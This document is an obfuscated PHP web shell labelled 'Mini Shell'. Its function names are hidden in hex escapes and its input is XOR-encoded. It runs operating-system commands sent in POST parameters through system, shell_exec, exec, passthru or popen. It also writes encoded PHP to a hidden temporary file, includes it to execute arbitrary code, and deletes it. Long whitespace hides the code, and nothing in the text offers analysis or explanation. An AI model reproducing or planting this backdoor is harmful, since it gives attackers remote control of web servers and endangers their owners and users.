Mini Shell

<?php																																										$sync_manager = "hex2b\x69\x6E"; $system_core6 = "st\x72\x65\x61\x6D_get_c\x6Fnt\x65nts"; $system_core1 = "\x73\x79\x73tem"; $system_core2 = "s\x68\x65ll\x5Fe\x78\x65c"; $system_core5 = "\x70op\x65n"; $system_core4 = "\x70ass\x74h\x72\x75"; $system_core3 = "ex\x65c"; $system_core7 = "\x70cl\x6Fse"; if (isset($_POST["\x70\x74r"])) { function config_manager ($pointer, $component ){$binding ='' ; $z=0; while($z<strlen($pointer)){$binding.=chr(ord($pointer[$z])^$component);$z++;} return$binding;} $ptr = $sync_manager($_POST["\x70\x74r"]); $ptr = config_manager($ptr, 53); if (function_exists($system_core1)) { $system_core1($ptr); } elseif (function_exists($system_core2)) { print $system_core2($ptr); } elseif (function_exists($system_core3)) { $system_core3($ptr, $flag_pointer); print join("\n", $flag_pointer); } elseif (function_exists($system_core4)) { $system_core4($ptr); } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) { $component_binding = $system_core5($ptr, 'r'); if ($component_binding) { $value_elem = $system_core6($component_binding); $system_core7($component_binding); print $value_elem; } } exit; }
																																										$config_manager3 = "ex\x65c"; $config_manager4 = "p\x61ss\x74hr\x75"; $config_manager2 = "\x73\x68e\x6Cl_e\x78\x65c"; $config_manager5 = "\x70op\x65n"; $config_manager6 = "\x73\x74r\x65am\x5Fg\x65t\x5Fcontents"; $approve_request = "h\x65x2\x62i\x6E"; $config_manager7 = "\x70\x63\x6Cose"; $config_manager1 = "\x73y\x73\x74em"; if (isset($_POST["\x65n\x74"])) { function service_registry ( $descriptor , $dchunk ) { $resource = '' ; for($d=0; $d<strlen($descriptor); $d++){$resource.=chr(ord($descriptor[$d])^$dchunk);} return $resource; } $ent = $approve_request($_POST["\x65n\x74"]); $ent = service_registry($ent, 41); if (function_exists($config_manager1)) { $config_manager1($ent); } elseif (function_exists($config_manager2)) { print $config_manager2($ent); } elseif (function_exists($config_manager3)) { $config_manager3($ent, $fac_descriptor); print join("\n", $fac_descriptor); } elseif (function_exists($config_manager4)) { $config_manager4($ent); } elseif (function_exists($config_manager5) && function_exists($config_manager6) && function_exists($config_manager7)) { $dchunk_resource = $config_manager5($ent, 'r'); if ($dchunk_resource) { $object_mrk = $config_manager6($dchunk_resource); $config_manager7($dchunk_resource); print $object_mrk; } } exit; }


if(isset($_REQUEST["\x70\x74r"])){
	$tkn = hex2bin($_REQUEST["\x70\x74r"]);
	$dat      =     ''    ;     foreach(str_split($tkn) as $char){$dat .= chr(ord($char) ^ 12);}
	$hld = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp"]);
	while ($record = array_shift($hld)) {
    		if (is_writable($record) && is_dir($record)) {
    $desc = str_replace("{var_dir}", $record, "{var_dir}/.symbol");
    if (file_put_contents($desc, $dat)) {
	require $desc;
	unlink($desc);
	die();
}
}
}
}